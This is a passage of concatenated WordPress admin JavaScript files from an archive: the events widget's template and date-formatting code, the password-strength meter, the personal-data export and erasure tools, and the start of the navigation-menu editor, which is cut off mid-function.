Renders the template for the Events section of the Events & News widget. * * @since 4.8.0 * * @param {Object} templateParams The various parameters that will get passed to wp.template. * @param {string} initiatedBy 'user' to indicate that this was triggered manually by the user; * 'app' to indicate it was triggered automatically by the app itself. * * @return {void} */ renderEventsTemplate: function( templateParams, initiatedBy ) { var template, elementVisibility, $toggleButton = $( '.community-events-toggle-location' ), $locationMessage = $( '#community-events-location-message' ), $results = $( '.community-events-results' ); templateParams.events = app.populateDynamicEventFields( templateParams.events, communityEventsData.time_format ); /* * Hide all toggleable elements by default, to keep the logic simple. * Otherwise, each block below would have to turn hide everything that * could have been shown at an earlier point. * * The exception to that is that the .community-events container is hidden * when the page is first loaded, because the content isn't ready yet, * but once we've reached this point, it should always be shown. */ elementVisibility = { '.community-events' : true, '.community-events-loading' : false, '.community-events-errors' : false, '.community-events-error-occurred' : false, '.community-events-could-not-locate' : false, '#community-events-location-message' : false, '.community-events-toggle-location' : false, '.community-events-results' : false }; /* * Determine which templates should be rendered and which elements * should be displayed. */ if ( templateParams.location.ip ) { /* * If the API determined the location by geolocating an IP, it will * provide events, but not a specific location. */ $locationMessage.text( __( 'Attend an upcoming event near you.' ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.location.description ) { template = wp.template( 'community-events-attend-event-near' ); $locationMessage.html( template( templateParams ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } if ( 'user' === initiatedBy ) { wp.a11y.speak( sprintf( /* translators: %s: The name of a city. */ __( 'City updated. Listing events near %s.' ), templateParams.location.description ), 'assertive' ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.unknownCity ) { template = wp.template( 'community-events-could-not-locate' ); $( '.community-events-could-not-locate' ).html( template( templateParams ) ); wp.a11y.speak( sprintf( /* * These specific examples were chosen to highlight the fact that a * state is not needed, even for cities whose name is not unique. * It would be too cumbersome to include that in the instructions * to the user, so it's left as an implication. */ /* * translators: %s is the name of the city we couldn't locate. * Replace the examples with cities related to your locale. Test that * they match the expected location and have upcoming events before * including them. If no cities related to your locale have events, * then use cities related to your locale that would be recognizable * to most users. Use only the city name itself, without any region * or country. Use the endonym (native locale name) instead of the * English name if possible. */ __( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ), templateParams.unknownCity ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-could-not-locate'] = true; } else if ( templateParams.error && 'user' === initiatedBy ) { /* * Errors messages are only shown for requests that were initiated * by the user, not for ones that were initiated by the app itself. * Showing error messages for an event that user isn't aware of * could be confusing or unnecessarily distracting. */ wp.a11y.speak( __( 'An error occurred. Please try again.' ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-error-occurred'] = true; } else { $locationMessage.text( __( 'Enter your closest city to find nearby events.' ) ); elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; } // Set the visibility of toggleable elements. _.each( elementVisibility, function( isVisible, element ) { $( element ).attr( 'aria-hidden', ! isVisible ); }); $toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] ); if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) { // Hide the form when there's a valid location. app.toggleLocationForm( 'hide' ); if ( 'user' === initiatedBy ) { /* * When the form is programmatically hidden after a user search, * bring the focus back to the toggle button so users relying * on screen readers don't lose their place. */ $toggleButton.trigger( 'focus' ); } } else { app.toggleLocationForm( 'show' ); } }, /** * Populate event fields that have to be calculated on the fly. * * These can't be stored in the database, because they're dependent on * the user's current time zone, locale, etc. * * @since 5.5.2 * * @param {Array} rawEvents The events that should have dynamic fields added to them. * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`. * * @returns {Array} */ populateDynamicEventFields: function( rawEvents, timeFormat ) { // Clone the parameter to avoid mutating it, so that this can remain a pure function. var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) ); $.each( populatedEvents, function( index, event ) { var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 ); event.user_formatted_date = app.getFormattedDate( event.start_unix_timestamp * 1000, event.end_unix_timestamp * 1000, timeZone ); event.user_formatted_time = dateI18n( timeFormat, event.start_unix_timestamp * 1000, timeZone ); event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 ); } ); return populatedEvents; }, /** * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`. * * @since 5.5.2 * * @param startTimestamp * * @returns {string|number} */ getTimeZone: function( startTimestamp ) { /* * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This * doesn't need to take `startTimestamp` into account for that reason. */ var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone; /* * Fall back to an offset for IE11, which declares the property but doesn't assign a value. */ if ( 'undefined' === typeof timeZone ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ timeZone = app.getFlippedTimeZoneOffset( startTimestamp ); } return timeZone; }, /** * Get intuitive time zone offset. * * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones * that are _behind_ UTC, and a _negative_ value for ones that are ahead. * * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {number} */ getFlippedTimeZoneOffset: function( startTimestamp ) { return new Date( startTimestamp ).getTimezoneOffset() * -1; }, /** * Get a short time zone name, like `PST`. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {string} */ getTimeZoneAbbreviation: function( startTimestamp ) { var timeZoneAbbreviation, eventDateTime = new Date( startTimestamp ); /* * Leaving the `locales` argument undefined is important, so that the browser * displays the abbreviation that's most appropriate for the current locale. For * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`. * * This doesn't need to take `startTimestamp` into account, because a name like * `America/Chicago` automatically tracks daylight savings. */ var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' ); if ( 3 === shortTimeStringParts.length ) { timeZoneAbbreviation = shortTimeStringParts[2]; } if ( 'undefined' === typeof timeZoneAbbreviation ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ), sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+'; // translators: Used as part of a string like `GMT+5` in the Events Widget. timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 ); } return timeZoneAbbreviation; }, /** * Format a start/end date in the user's local time zone and locale. * * @since 5.5.2 * * @param {int} startDate The Unix timestamp in milliseconds when the the event starts. * @param {int} endDate The Unix timestamp in milliseconds when the the event ends. * @param {string} timeZone A time zone string or offset which is parsable by `wp.date.i18n()`. * * @returns {string} */ getFormattedDate: function( startDate, endDate, timeZone ) { var formattedDate; /* * The `date_format` option is not used because it's important * in this context to keep the day of the week in the displayed date, * so that users can tell at a glance if the event is on a day they * are available, without having to open the link. * * The case of crossing a year boundary is intentionally not handled. * It's so rare in practice that it's not worth the complexity * tradeoff. The _ending_ year should be passed to * `multiple_month_event`, though, just in case. */ /* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */ var singleDayEvent = __( 'l, M j, Y' ), /* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */ multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ), /* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */ multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' ); // Detect single-day events. if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) { formattedDate = dateI18n( singleDayEvent, startDate, timeZone ); // Multiple day events. } else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) { formattedDate = sprintf( multipleDayEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); // Multi-day events that cross a month boundary. } else { formattedDate = sprintf( multipleMonthEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); } return formattedDate; } }; if ( $( '#dashboard_primary' ).is( ':visible' ) ) { app.init(); } else { $( document ).on( 'postbox-toggled', function( event, postbox ) { var $postbox = $( postbox ); if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) { app.init(); } }); } }); /** * Removed in 5.6.0, needed for back-compatibility. * * @since 4.8.0 * @deprecated 5.6.0 * * @type {object} */ window.communityEventsData.l10n = window.communityEventsData.l10n || { enter_closest_city: '', error_occurred_please_try_again: '', attend_event_near_generic: '', could_not_locate_city: '', city_updated: '' }; window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' ); js/password-strength-meter.min.js 0000644 00000002143 15233246127 0013115 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var e=wp.i18n.__,n=wp.i18n.sprintf;wp.passwordStrength={meter:function(e,n,t){return Array.isArray(n)||(n=[n.toString()]),e!=t&&t&&0<t.length?5:void 0===window.zxcvbn?-1:zxcvbn(e,n).score},userInputBlacklist:function(){return window.console.log(n(e("%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code."),"wp.passwordStrength.userInputBlacklist()","5.5.0","wp.passwordStrength.userInputDisallowedList()")),wp.passwordStrength.userInputDisallowedList()},userInputDisallowedList:function(){var e,n,t,r,s=[],i=[],o=["user_login","first_name","last_name","nickname","display_name","email","url","description","weblog_title","admin_email"];for(s.push(document.title),s.push(document.URL),n=o.length,e=0;e<n;e++)0!==(r=a("#"+o[e])).length&&(s.push(r[0].defaultValue),s.push(r.val()));for(t=s.length,e=0;e<t;e++)s[e]&&(i=i.concat(s[e].replace(/\W/g," ").split(" ")));return i=a.grep(i,function(e,n){return!(""===e||e.length<4)&&a.inArray(e,i)===n})}},window.passwordStrength=wp.passwordStrength.meter}(jQuery); js/privacy-tools.js 0000644 00000025253 15233246127 0010345 0 ustar 00 /** * Interactions used by the User Privacy tools in WordPress. * * @output wp-admin/js/privacy-tools.js */ // Privacy request action handling. jQuery( function( $ ) { var __ = wp.i18n.__, copiedNoticeTimeout; function setActionState( $action, state ) { $action.children().addClass( 'hidden' ); $action.children( '.' + state ).removeClass( 'hidden' ); } function clearResultsAfterRow( $requestRow ) { $requestRow.removeClass( 'has-request-results' ); if ( $requestRow.next().hasClass( 'request-results' ) ) { $requestRow.next().remove(); } } function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) { var itemList = '', resultRowClasses = 'request-results'; clearResultsAfterRow( $requestRow ); if ( additionalMessages.length ) { $.each( additionalMessages, function( index, value ) { itemList = itemList + '<li>' + value + '</li>'; }); itemList = '<ul>' + itemList + '</ul>'; } $requestRow.addClass( 'has-request-results' ); if ( $requestRow.hasClass( 'status-request-confirmed' ) ) { resultRowClasses = resultRowClasses + ' status-request-confirmed'; } if ( $requestRow.hasClass( 'status-request-failed' ) ) { resultRowClasses = resultRowClasses + ' status-request-failed'; } $requestRow.after( function() { return '<tr class="' + resultRowClasses + '"><th colspan="5">' + '<div class="notice inline notice-alt ' + classes + '" role="alert">' + '<p>' + summaryMessage + '</p>' + itemList + '</div>' + '</td>' + '</tr>'; }); } $( '.export-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.export-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.export-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), exportersCount = $action.data( 'exporters-count' ), sendAsEmail = $action.data( 'send-as-email' ) ? true : false; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setExportProgress( 0 ); function onExportDoneSuccess( zipUrl ) { var summaryMessage = __( 'This user’s personal data export link was sent.' ); if ( 'undefined' !== typeof zipUrl ) { summaryMessage = __( 'This user’s personal data export file was downloaded.' ); } setActionState( $action, 'export-personal-data-success' ); appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] ); if ( 'undefined' !== typeof zipUrl ) { window.location = zipUrl; } else if ( ! sendAsEmail ) { onExportFailure( __( 'No personal data export file was generated.' ) ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onExportFailure( errorMessage ) { var summaryMessage = __( 'An error occurred while attempting to export personal data.' ); setActionState( $action, 'export-personal-data-failed' ); if ( errorMessage ) { appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] ); } setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setExportProgress( exporterIndex ) { var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextExport( exporterIndex, pageIndex ) { $.ajax( { url: window.ajaxurl, data: { action: 'wp-privacy-export-personal-data', exporter: exporterIndex, id: requestID, page: pageIndex, security: nonce, sendAsEmail: sendAsEmail }, method: 'post' } ).done( function( response ) { var responseData = response.data; if ( ! response.success ) { // e.g. invalid request ID. setTimeout( function() { onExportFailure( response.data ); }, 500 ); return; } if ( ! responseData.done ) { setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) ); } else { setExportProgress( exporterIndex ); if ( exporterIndex < exportersCount ) { setTimeout( doNextExport( exporterIndex + 1, 1 ) ); } else { setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 ); } } }).fail( function( jqxhr, textStatus, error ) { // e.g. Nonce failure. setTimeout( function() { onExportFailure( error ); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'export-personal-data-processing' ); doNextExport( 1, 1 ); }); $( '.remove-personal-data-handle' ).on( 'click', function( event ) { var $this = $( this ), $action = $this.parents( '.remove-personal-data' ), $requestRow = $this.parents( 'tr' ), $progress = $requestRow.find( '.erasure-progress' ), $rowActions = $this.parents( '.row-actions' ), requestID = $action.data( 'request-id' ), nonce = $action.data( 'nonce' ), erasersCount = $action.data( 'erasers-count' ), hasRemoved = false, hasRetained = false, messages = []; event.preventDefault(); event.stopPropagation(); $rowActions.addClass( 'processing' ); $action.trigger( 'blur' ); clearResultsAfterRow( $requestRow ); setErasureProgress( 0 ); function onErasureDoneSuccess() { var summaryMessage = __( 'No personal data was found for this user.' ), classes = 'notice-success'; setActionState( $action, 'remove-personal-data-success' ); if ( false === hasRemoved ) { if ( false === hasRetained ) { summaryMessage = __( 'No personal data was found for this user.' ); } else { summaryMessage = __( 'Personal data was found for this user but was not erased.' ); classes = 'notice-warning'; } } else { if ( false === hasRetained ) { summaryMessage = __( 'All of the personal data found for this user was erased.' ); } else { summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' ); classes = 'notice-warning'; } } appendResultsAfterRow( $requestRow, classes, summaryMessage, messages ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function onErasureFailure() { var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' ); setActionState( $action, 'remove-personal-data-failed' ); appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] ); setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 ); } function setErasureProgress( eraserIndex ) { var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ), progressString = Math.round( progress * 100 ).toString() + '%'; $progress.html( progressString ); } function doNextErasure( eraserIndex, pageIndex ) { $.ajax({ url: window.ajaxurl, data: { action: 'wp-privacy-erase-personal-data', eraser: eraserIndex, id: requestID, page: pageIndex, security: nonce }, method: 'post' }).done( function( response ) { var responseData = response.data; if ( ! response.success ) { setTimeout( function() { onErasureFailure(); }, 500 ); return; } if ( responseData.items_removed ) { hasRemoved = hasRemoved || responseData.items_removed; } if ( responseData.items_retained ) { hasRetained = hasRetained || responseData.items_retained; } if ( responseData.messages ) { messages = messages.concat( responseData.messages ); } if ( ! responseData.done ) { setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) ); } else { setErasureProgress( eraserIndex ); if ( eraserIndex < erasersCount ) { setTimeout( doNextErasure( eraserIndex + 1, 1 ) ); } else { setTimeout( function() { onErasureDoneSuccess(); }, 500 ); } } }).fail( function() { setTimeout( function() { onErasureFailure(); }, 500 ); }); } // And now, let's begin. setActionState( $action, 'remove-personal-data-processing' ); doNextErasure( 1, 1 ); }); // Privacy Policy page, copy action. $( document ).on( 'click', function( event ) { var $parent, range, $target = $( event.target ), copiedNotice = $target.siblings( '.success' ); clearTimeout( copiedNoticeTimeout ); if ( $target.is( 'button.privacy-text-copy' ) ) { $parent = $target.closest( '.privacy-settings-accordion-panel' ); if ( $parent.length ) { try { var documentPosition = document.documentElement.scrollTop, bodyPosition = document.body.scrollTop; // Setup copy. window.getSelection().removeAllRanges(); // Hide tutorial content to remove from copied content. range = document.createRange(); $parent.addClass( 'hide-privacy-policy-tutorial' ); // Copy action. range.selectNodeContents( $parent[0] ); window.getSelection().addRange( range ); document.execCommand( 'copy' ); // Reset section. $parent.removeClass( 'hide-privacy-policy-tutorial' ); window.getSelection().removeAllRanges(); // Return scroll position - see #49540. if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) { document.documentElement.scrollTop = documentPosition; } else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) { document.body.scrollTop = bodyPosition; } // Display and speak notice to indicate action complete. copiedNotice.addClass( 'visible' ); wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) ); // Delay notice dismissal. copiedNoticeTimeout = setTimeout( function() { copiedNotice.removeClass( 'visible' ); }, 3000 ); } catch ( er ) {} } } }); // Label handling to focus the create page button on Privacy settings page. $( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) { e.preventDefault(); $( 'input#create-page' ).trigger( 'focus' ); } ); // Accordion handling in various new Privacy settings pages. $( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() { var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) ); if ( isExpanded ) { $( this ).attr( 'aria-expanded', 'false' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true ); } else { $( this ).attr( 'aria-expanded', 'true' ); $( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false ); } } ); }); js/nav-menu.min.js 0000644 00000074101 15233246127 0010036 0 ustar 00 /*! This file is auto-generated */ !function(k){var I=window.wpNavMenu={options:{menuItemDepthPerLevel:30,globalMaxDepth:11,sortableItems:"> *",targetTolerance:0},menuList:void 0,targetList:void 0,menusChanged:!1,isRTL:!("undefined"==typeof isRtl||!isRtl),negateIfRTL:"undefined"!=typeof isRtl&&isRtl?-1:1,lastSearch:"",init:function(){I.menuList=k("#menu-to-edit"),I.targetList=I.menuList,this.jQueryExtensions(),this.attachMenuEditListeners(),this.attachBulkSelectButtonListeners(),this.attachMenuCheckBoxListeners(),this.attachMenuItemDeleteButton(),this.attachPendingMenuItemsListForDeletion(),this.attachQuickSearchListeners(),this.attachThemeLocationsListeners(),this.attachMenuSaveSubmitListeners(),this.attachTabsPanelListeners(),this.attachUnsavedChangesListener(),I.menuList.length&&this.initSortables(),menus.oneThemeLocationNoMenus&&k("#posttype-page").addSelectedToMenu(I.addMenuItemToBottom),this.initManageLocations(),this.initAccessibility(),this.initToggles(),this.initPreviewing()},jQueryExtensions:function(){k.fn.extend({menuItemDepth:function(){var e=I.isRTL?this.eq(0).css("margin-right"):this.eq(0).css("margin-left");return I.pxToDepth(e&&-1!=e.indexOf("px")?e.slice(0,-2):0)},updateDepthClass:function(t,n){return this.each(function(){var e=k(this);n=n||e.menuItemDepth(),k(this).removeClass("menu-item-depth-"+n).addClass("menu-item-depth-"+t)})},shiftDepthClass:function(i){return this.each(function(){var e=k(this),t=e.menuItemDepth(),n=t+i;e.removeClass("menu-item-depth-"+t).addClass("menu-item-depth-"+n),0===n&&e.find(".is-submenu").hide()})},childMenuItems:function(){var i=k();return this.each(function(){for(var e=k(this),t=e.menuItemDepth(),n=e.next(".menu-item");n.length&&n.menuItemDepth()>t;)i=i.add(n),n=n.next(".menu-item")}),i},shiftHorizontally:function(n){return this.each(function(){var e=k(this),t=e.menuItemDepth();e.moveHorizontally(t+n,t)})},moveHorizontally:function(a,s){return this.each(function(){var e=k(this),t=e.childMenuItems(),n=a-s,i=e.find(".is-submenu");e.updateDepthClass(a,s).updateParentMenuItemDBId(),t&&t.each(function(){var e=k(this),t=e.menuItemDepth();e.updateDepthClass(t+n,t).updateParentMenuItemDBId()}),0===a?i.hide():i.show()})},updateParentMenuItemDBId:function(){return this.each(function(){var e=k(this),t=e.find(".menu-item-data-parent-id"),n=parseInt(e.menuItemDepth(),10),e=e.prevAll(".menu-item-depth-"+(n-1)).first();0===n?t.val(0):t.val(e.find(".menu-item-data-db-id").val())})},hideAdvancedMenuItemFields:function(){return this.each(function(){var e=k(this);k(".hide-column-tog").not(":checked").each(function(){e.find(".field-"+k(this).val()).addClass("hidden-field")})})},addSelectedToMenu:function(a){return 0!==k("#menu-to-edit").length&&this.each(function(){var e=k(this),n={},t=menus.oneThemeLocationNoMenus&&0===e.find(".tabs-panel-active .categorychecklist li input:checked").length?e.find('#page-all li input[type="checkbox"]'):e.find(".tabs-panel-active .categorychecklist li input:checked"),i=/menu-item\[([^\]]*)/;if(a=a||I.addMenuItemToBottom,!t.length)return!1;e.find(".button-controls .spinner").addClass("is-active"),k(t).each(function(){var e=k(this),t=i.exec(e.attr("name")),t=void 0===t[1]?0:parseInt(t[1],10);this.className&&-1!=this.className.indexOf("add-to-top")&&(a=I.addMenuItemToTop),n[t]=e.closest("li").getItemData("add-menu-item",t)}),I.addItemToMenu(n,a,function(){t.prop("checked",!1),e.find(".button-controls .select-all").prop("checked",!1),e.find(".button-controls .spinner").removeClass("is-active"),e.updateParentDropdown(),e.updateOrderDropdown()})})},getItemData:function(t,n){t=t||"menu-item";var i,a={},s=["menu-item-db-id","menu-item-object-id","menu-item-object","menu-item-parent-id","menu-item-position","menu-item-type","menu-item-title","menu-item-url","menu-item-description","menu-item-attr-title","menu-item-target","menu-item-classes","menu-item-xfn"];return(n=n||"menu-item"!=t?n:this.find(".menu-item-data-db-id").val())&&this.find("input").each(function(){var e;for(i=s.length;i--;)"menu-item"==t?e=s[i]+"["+n+"]":"add-menu-item"==t&&(e="menu-item["+n+"]["+s[i]+"]"),this.name&&e==this.name&&(a[s[i]]=this.value)}),a},setItemData:function(e,a,s){return a=a||"menu-item",(s=s||"menu-item"!=a?s:k(".menu-item-data-db-id",this).val())&&this.find("input").each(function(){var n,i=k(this);k.each(e,function(e,t){"menu-item"==a?n=e+"["+s+"]":"add-menu-item"==a&&(n="menu-item["+s+"]["+e+"]"),n==i.attr("name")&&i.val(t)})}),this},updateParentDropdown:function(){return this.each(function(){var s=k("#menu-to-edit li"),e=k(".edit-menu-item-parent");k.each(e,function(){var n=k(this),e=parseInt(n.closest("li.menu-item").find(".menu-item-data-db-id").val()),i=parseInt(n.closest("li.menu-item").find(".menu-item-data-parent-id").val()),t=n.closest("li.menu-item").childMenuItems(),a=[e];n.empty(),0<t.length&&k.each(t,function(){var e=k(this),e=parseInt(e.find(".menu-item-data-db-id").val());a.push(e)}),n.append(k("<option>",{value:"0",selected:0===i,text:wp.i18n._x("No Parent","menu item without a parent in navigation menu")})),k.each(s,function(){var e=k(this),t=parseInt(e.find(".menu-item-data-db-id").val()),e=e.find(".edit-menu-item-title").val();a.includes(t)||n.append(k("<option>",{value:t.toString(),selected:i===t,text:e}))})})})},updateOrderDropdown:function(){return this.each(function(){var u,e=k(".edit-menu-item-order");k.each(e,function(){var t=k(this),e=t.closest("li.menu-item").first(),n=e.menuItemDepth(),i=0===n;if(t.empty(),i){var i=k(".menu-item-depth-0"),a=i.length;u=i.index(e)+1;for(let e=1;e<a+1;e++){var s=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,a);t.append(k("<option>",{selected:e===u,value:e.toString(),text:s}))}}else{var i=e.prevAll(".menu-item-depth-"+parseInt(n-1,10)).first().find(".menu-item-data-db-id").val(),n=k('.menu-item .menu-item-data-parent-id[value="'+i+'"]'),m=n.length;u=k(n.parents(".menu-item").get().reverse()).index(e)+1;for(let e=1;e<m+1;e++){var o=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,m);t.append(k("<option>",{selected:e===u,value:e.toString(),text:o}))}}})})}})},countMenuItems:function(e){return k(".menu-item-depth-"+e).length},moveMenuItem:function(e,t){var n,i,a=k("#menu-to-edit li"),s=a.length,m=e.parents("li.menu-item"),o=m.childMenuItems(),u=m.getItemData(),d=parseInt(m.menuItemDepth(),10),r=parseInt(m.index(),10),l=m.next(),c=l.childMenuItems(),h=parseInt(l.menuItemDepth(),10)+1,p=m.prev(),f=parseInt(p.menuItemDepth(),10),v=p.getItemData()["menu-item-db-id"],p=menus["moved"+t.charAt(0).toUpperCase()+t.slice(1)];switch(t){case"up":i=r-1,0!==r&&(0==i&&0!==d&&m.moveHorizontally(0,d),0!==f&&m.moveHorizontally(f,d),(o?n=m.add(o):m).detach().insertBefore(a.eq(i)).updateParentMenuItemDBId());break;case"down":if(o){if(n=m.add(o),(c=0!==(l=a.eq(n.length+r)).childMenuItems().length)&&(i=parseInt(l.menuItemDepth(),10)+1,m.moveHorizontally(i,d)),s===r+n.length)break;n.detach().insertAfter(a.eq(r+n.length)).updateParentMenuItemDBId()}else{if(0!==c.length&&m.moveHorizontally(h,d),s===r+1)break;m.detach().insertAfter(a.eq(r+1)).updateParentMenuItemDBId()}break;case"top":0!==r&&(o?n=m.add(o):m).detach().insertBefore(a.eq(0)).updateParentMenuItemDBId();break;case"left":0!==d&&m.shiftHorizontally(-1);break;case"right":0!==r&&u["menu-item-parent-id"]!==v&&m.shiftHorizontally(1)}e.trigger("focus"),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),m.updateParentDropdown(),m.updateOrderDropdown(),p&&wp.a11y.speak(p)},initAccessibility:function(){var e=k("#menu-to-edit");I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){I.refreshAdvancedAccessibilityOfItem(k(this).find("a.item-edit"))}),e.on("click","a.item-edit",function(){I.refreshAdvancedAccessibilityOfItem(k(this))}),e.on("click",".menus-move",function(){var e=k(this).data("dir");void 0!==e&&I.moveMenuItem(k(this).parents("li.menu-item").find("a.item-edit"),e)}),e.updateParentDropdown(),e.updateOrderDropdown(),e.on("change",".edit-menu-item-parent",function(){I.changeMenuParent(k(this))}),e.on("change",".edit-menu-item-order",function(){I.changeMenuOrder(k(this))})},changeMenuParent:function(e){var t=k("#menu-to-edit li"),e=k(e),n=e.val(),i=e.closest("li.menu-item").first(),a=i.menuItemDepth(),s=i.childMenuItems(),m=parseInt(i.childMenuItems().length,10),o=k("#menu-item-"+n),u=o.menuItemDepth(),u=parseInt(u)+1,u=(0==n&&(u=0),i.find(".menu-item-data-parent-id").val(n),i.moveHorizontally(u,a),(i=0<m?i.add(s):i).detach(),t=k("#menu-to-edit li"),parseInt(o.index(),10)),a=parseInt(o.childMenuItems().length,10),m=0<a?u+a:u;0==n&&(m=t.length-1),i.insertAfter(t.eq(m)).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.parentUpdated,"polite")},changeMenuOrder:function(e){var t=k("#menu-to-edit li"),e=k(e),n=parseInt(e.val(),10),i=e.closest("li.menu-item").first(),a=i.childMenuItems(),s=a.length,m=parseInt(i.index(),10),o=i.find(".menu-item-data-parent-id").val(),o=k('.menu-item .menu-item-data-parent-id[value="'+o+'"]'),o=k(o[n-1]).closest("li.menu-item"),n=(0<s&&(i=i.add(a)),o.childMenuItems().length),s=parseInt(o.index(),10),t=k("#menu-to-edit li"),a=s;(a<m?(a=s,i.detach().insertBefore(t.eq(a))):(a+=n,i.detach().insertAfter(t.eq(a)))).updateOrderDropdown(),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.trigger("focus"),wp.a11y.speak(menus.orderUpdated,"polite")},refreshAdvancedAccessibilityOfItem:function(e){var 